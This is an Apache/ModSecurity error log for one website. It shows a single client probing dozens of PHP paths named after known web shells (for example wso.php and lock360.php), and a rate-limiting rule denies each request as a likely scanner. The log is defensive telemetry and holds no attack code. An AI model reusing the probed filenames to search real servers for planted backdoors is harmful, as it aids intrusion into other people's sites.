[Sun Dec 14 07:29:22.405226 2025] [:error] [pid 39523:tid 39547] [client 52.169.159.88:14914] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aT320jQTQH1raAj2lkg_2wAAABM"]
[Sun Dec 14 07:29:22.906642 2025] [:error] [pid 39524:tid 39580] [client 52.169.159.88:11369] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aT320mrVGpbDzFtDE9Ml4AAAAFg"]
[Sun Dec 14 07:29:23.405393 2025] [:error] [pid 39614:tid 39621] [client 52.169.159.88:5853] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aT320_xybG8-9MflbDel3wAAAMU"]
[Sun Dec 14 07:29:23.903647 2025] [:error] [pid 39523:tid 39545] [client 52.169.159.88:16106] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aT320zQTQH1raAj2lkg_3AAAABE"]
[Sun Dec 14 07:29:24.401834 2025] [:error] [pid 39524:tid 39566] [client 52.169.159.88:8689] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mans.php"] [unique_id "aT321GrVGpbDzFtDE9Ml4gAAAEo"]
[Sun Dec 14 07:29:24.902151 2025] [:error] [pid 39523:tid 39550] [client 52.169.159.88:14974] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mah.php"] [unique_id "aT321DQTQH1raAj2lkg_3QAAABY"]
[Sun Dec 14 07:29:25.415738 2025] [proxy_fcgi:error] [pid 39614:tid 39637] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:25.669376 2025] [proxy_fcgi:error] [pid 39614:tid 39634] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:25.924229 2025] [proxy_fcgi:error] [pid 39614:tid 39636] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:26.178697 2025] [proxy_fcgi:error] [pid 39614:tid 39627] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:26.434482 2025] [proxy_fcgi:error] [pid 39614:tid 39618] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:26.688324 2025] [proxy_fcgi:error] [pid 39614:tid 39626] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:26.941901 2025] [proxy_fcgi:error] [pid 39614:tid 39628] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:27.449613 2025] [proxy_fcgi:error] [pid 39614:tid 39629] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:27.705515 2025] [proxy_fcgi:error] [pid 39614:tid 39623] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:27.959116 2025] [proxy_fcgi:error] [pid 39614:tid 39622] [client 52.169.159.88:14016] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 07:29:28.208974 2025] [:error] [pid 39614:tid 39621] [client 52.169.159.88:14016] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aT322PxybG8-9MflbDel9gAAAMU"]
[Sun Dec 14 07:29:28.708284 2025] [:error] [pid 39614:tid 39627] [client 52.169.159.88:9222] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aT322PxybG8-9MflbDel-gAAAMs"]
[Sun Dec 14 07:29:29.208988 2025] [:error] [pid 39614:tid 39626] [client 52.169.159.88:1124] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aT322fxybG8-9MflbDel-wAAAMo"]
[Sun Dec 14 07:29:29.710382 2025] [:error] [pid 39523:tid 39537] [client 52.169.159.88:16373] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/raw.php"] [unique_id "aT322TQTQH1raAj2lkg_3wAAAAk"]
[Sun Dec 14 07:29:30.211009 2025] [:error] [pid 39614:tid 39617] [client 52.169.159.88:2936] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/great.php"] [unique_id "aT322vxybG8-9MflbDel_gAAAME"]
[Sun Dec 14 07:29:30.710773 2025] [:error] [pid 39614:tid 39631] [client 52.169.159.88:2891] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/great.php"] [unique_id "aT322vxybG8-9MflbDemAAAAAM8"]
[Sun Dec 14 07:29:31.212928 2025] [:error] [pid 39523:tid 39539] [client 52.169.159.88:2883] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/great.php"] [unique_id "aT322zQTQH1raAj2lkg_4QAAAAs"]
[Sun Dec 14 07:29:31.712351 2025] [:error] [pid 39524:tid 39559] [client 52.169.159.88:12825] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/great.php"] [unique_id "aT3222rVGpbDzFtDE9Ml5AAAAEM"]
[Sun Dec 14 07:29:32.213143 2025] [:error] [pid 39523:tid 39542] [client 52.169.159.88:6827] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aT323DQTQH1raAj2lkg_4gAAAA4"]
[Sun Dec 14 07:29:32.714937 2025] [:error] [pid 39614:tid 39622] [client 52.169.159.88:14975] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aT323PxybG8-9MflbDemBwAAAMY"]
[Sun Dec 14 07:29:33.216494 2025] [:error] [pid 39614:tid 39632] [client 52.169.159.88:2901] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aT323fxybG8-9MflbDemCAAAANA"]
[Sun Dec 14 07:29:33.722635 2025] [:error] [pid 39614:tid 39638] [client 52.169.159.88:2905] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akcc.php"] [unique_id "aT323fxybG8-9MflbDemCQAAANY"]
[Sun Dec 14 07:29:34.223343 2025] [:error] [pid 39614:tid 39616] [client 52.169.159.88:14031] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aT323vxybG8-9MflbDemCgAAAMA"]
[Sun Dec 14 07:29:34.724243 2025] [:error] [pid 39523:tid 39538] [client 52.169.159.88:5870] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aT323jQTQH1raAj2lkg_4wAAAAo"]
[Sun Dec 14 07:29:35.226685 2025] [:error] [pid 39614:tid 39634] [client 52.169.159.88:1610] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aT323_xybG8-9MflbDemDQAAANI"]
[Sun Dec 14 07:29:35.726937 2025] [:error] [pid 39614:tid 39627] [client 52.169.159.88:5027] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p.php"] [unique_id "aT323_xybG8-9MflbDemDgAAAMs"]
[Sun Dec 14 07:29:36.226979 2025] [:error] [pid 39525:tid 39589] [client 52.169.159.88:14043] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aT324E1fX_pB_BrvE_6U_wAAAIY"]
[Sun Dec 14 07:29:36.730161 2025] [:error] [pid 41600:tid 41607] [client 52.169.159.88:16072] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aT324NFLTBZjcwNd_VsPPgAAAQQ"]
[Sun Dec 14 07:29:37.230109 2025] [:error] [pid 39524:tid 39576] [client 52.169.159.88:16373] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aT324WrVGpbDzFtDE9Ml5wAAAFQ"]
[Sun Dec 14 07:29:37.730351 2025] [:error] [pid 41600:tid 41606] [client 52.169.159.88:6834] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/moon.php"] [unique_id "aT324dFLTBZjcwNd_VsPPwAAAQM"]
[Sun Dec 14 07:29:38.230027 2025] [:error] [pid 39523:tid 39529] [client 52.169.159.88:2281] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoha.php"] [unique_id "aT324jQTQH1raAj2lkg_5wAAAAE"]
[Sun Dec 14 07:29:38.735635 2025] [:error] [pid 39523:tid 39531] [client 52.169.159.88:16064] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoha.php"] [unique_id "aT324jQTQH1raAj2lkg_6AAAAAM"]
[Sun Dec 14 07:29:39.235565 2025] [:error] [pid 41600:tid 41617] [client 52.169.159.88:1621] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoha.php"] [unique_id "aT3249FLTBZjcwNd_VsPQgAAAQ4"]
[Sun Dec 14 07:29:39.741604 2025] [:error] [pid 41600:tid 41613] [client 52.169.159.88:10833] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shoha.php"] [unique_id "aT3249FLTBZjcwNd_VsPQwAAAQo"]
[Sun Dec 14 07:29:40.242019 2025] [:error] [pid 39523:tid 39528] [client 52.169.159.88:12421] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT325DQTQH1raAj2lkg_7AAAAAA"]
[Sun Dec 14 07:29:40.744005 2025] [:error] [pid 39523:tid 39535] [client 52.169.159.88:14066] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT325DQTQH1raAj2lkg_8AAAAAc"]
[Sun Dec 14 07:29:41.245653 2025] [:error] [pid 39523:tid 39550] [client 52.169.159.88:5025] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT325TQTQH1raAj2lkg_8gAAABY"]
[Sun Dec 14 07:29:41.751142 2025] [:error] [pid 39523:tid 39539] [client 52.169.159.88:1653] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wso.php"] [unique_id "aT325TQTQH1raAj2lkg_9AAAAAs"]
[Sun Dec 14 07:29:42.252985 2025] [:error] [pid 39523:tid 39542] [client 52.169.159.88:2242] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aT325jQTQH1raAj2lkg_9QAAAA4"]
[Sun Dec 14 07:29:42.768961 2025] [:error] [pid 39614:tid 39631] [client 52.169.159.88:12801] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aT325vxybG8-9MflbDemEAAAAM8"]
[Sun Dec 14 07:29:43.267504 2025] [:error] [pid 41600:tid 41615] [client 52.169.159.88:11326] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aT3259FLTBZjcwNd_VsPRAAAAQw"]
[Sun Dec 14 07:29:43.768533 2025] [:error] [pid 39614:tid 39624] [client 52.169.159.88:15681] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sallu.php"] [unique_id "aT325_xybG8-9MflbDemFAAAAMg"]
[Sun Dec 14 07:29:44.272490 2025] [:error] [pid 39614:tid 39619] [client 52.169.159.88:7751] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aT326PxybG8-9MflbDemFQAAAMM"]
[Sun Dec 14 07:29:44.786536 2025] [:error] [pid 41600:tid 41618] [client 52.169.159.88:7077] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aT326NFLTBZjcwNd_VsPRQAAAQ8"]
[Sun Dec 14 07:29:45.287160 2025] [:error] [pid 39523:tid 39540] [client 52.169.159.88:7100] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aT326TQTQH1raAj2lkg_-QAAAAw"]
[Sun Dec 14 07:29:45.787227 2025] [:error] [pid 39523:tid 39536] [client 52.169.159.88:15704] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aT326TQTQH1raAj2lkg_-wAAAAg"]
[Sun Dec 14 07:29:46.286340 2025] [:error] [pid 39614:tid 39626] [client 52.169.159.88:8676] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aT326vxybG8-9MflbDemHAAAAMo"]
[Sun Dec 14 07:29:46.788382 2025] [:error] [pid 41600:tid 41623] [client 52.169.159.88:14949] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aT326tFLTBZjcwNd_VsPRwAAARQ"]
[Sun Dec 14 07:29:47.288265 2025] [:error] [pid 39614:tid 39628] [client 52.169.159.88:5060] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aT326_xybG8-9MflbDemHwAAAMw"]
[Sun Dec 14 07:29:47.794871 2025] [:error] [pid 39614:tid 39635] [client 52.169.159.88:1605] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aT326_xybG8-9MflbDemIQAAANM"]
[Sun Dec 14 07:29:48.295267 2025] [:error] [pid 41600:tid 41625] [client 52.169.159.88:9488] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aT327NFLTBZjcwNd_VsPSwAAARY"]
[Sun Dec 14 07:29:48.795741 2025] [:error] [pid 39614:tid 39640] [client 52.169.159.88:8282] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aT327PxybG8-9MflbDemJQAAANg"]
[Sun Dec 14 07:29:49.298918 2025] [:error] [pid 39523:tid 39532] [client 52.169.159.88:5039] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aT327TQTQH1raAj2lkg__gAAAAQ"]
[Sun Dec 14 07:29:49.797660 2025] [:error] [pid 41600:tid 41609] [client 52.169.159.88:3512] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock360.php"] [unique_id "aT327dFLTBZjcwNd_VsPTQAAAQY"]
[Sun Dec 14 07:29:50.297777 2025] [:error] [pid 41600:tid 41611] [client 52.169.159.88:12083] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aT327tFLTBZjcwNd_VsPTgAAAQg"]
[Sun Dec 14 07:29:50.799340 2025] [:error] [pid 39524:tid 39570] [client 52.169.159.88:7801] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aT327mrVGpbDzFtDE9Ml6AAAAE4"]
[Sun Dec 14 07:29:51.299425 2025] [:error] [pid 39524:tid 39571] [client 52.169.159.88:12445] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aT3272rVGpbDzFtDE9Ml6QAAAE8"]
[Sun Dec 14 07:29:51.798822 2025] [:error] [pid 39524:tid 39577] [client 52.169.159.88:11266] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aT3272rVGpbDzFtDE9Ml7AAAAFU"]
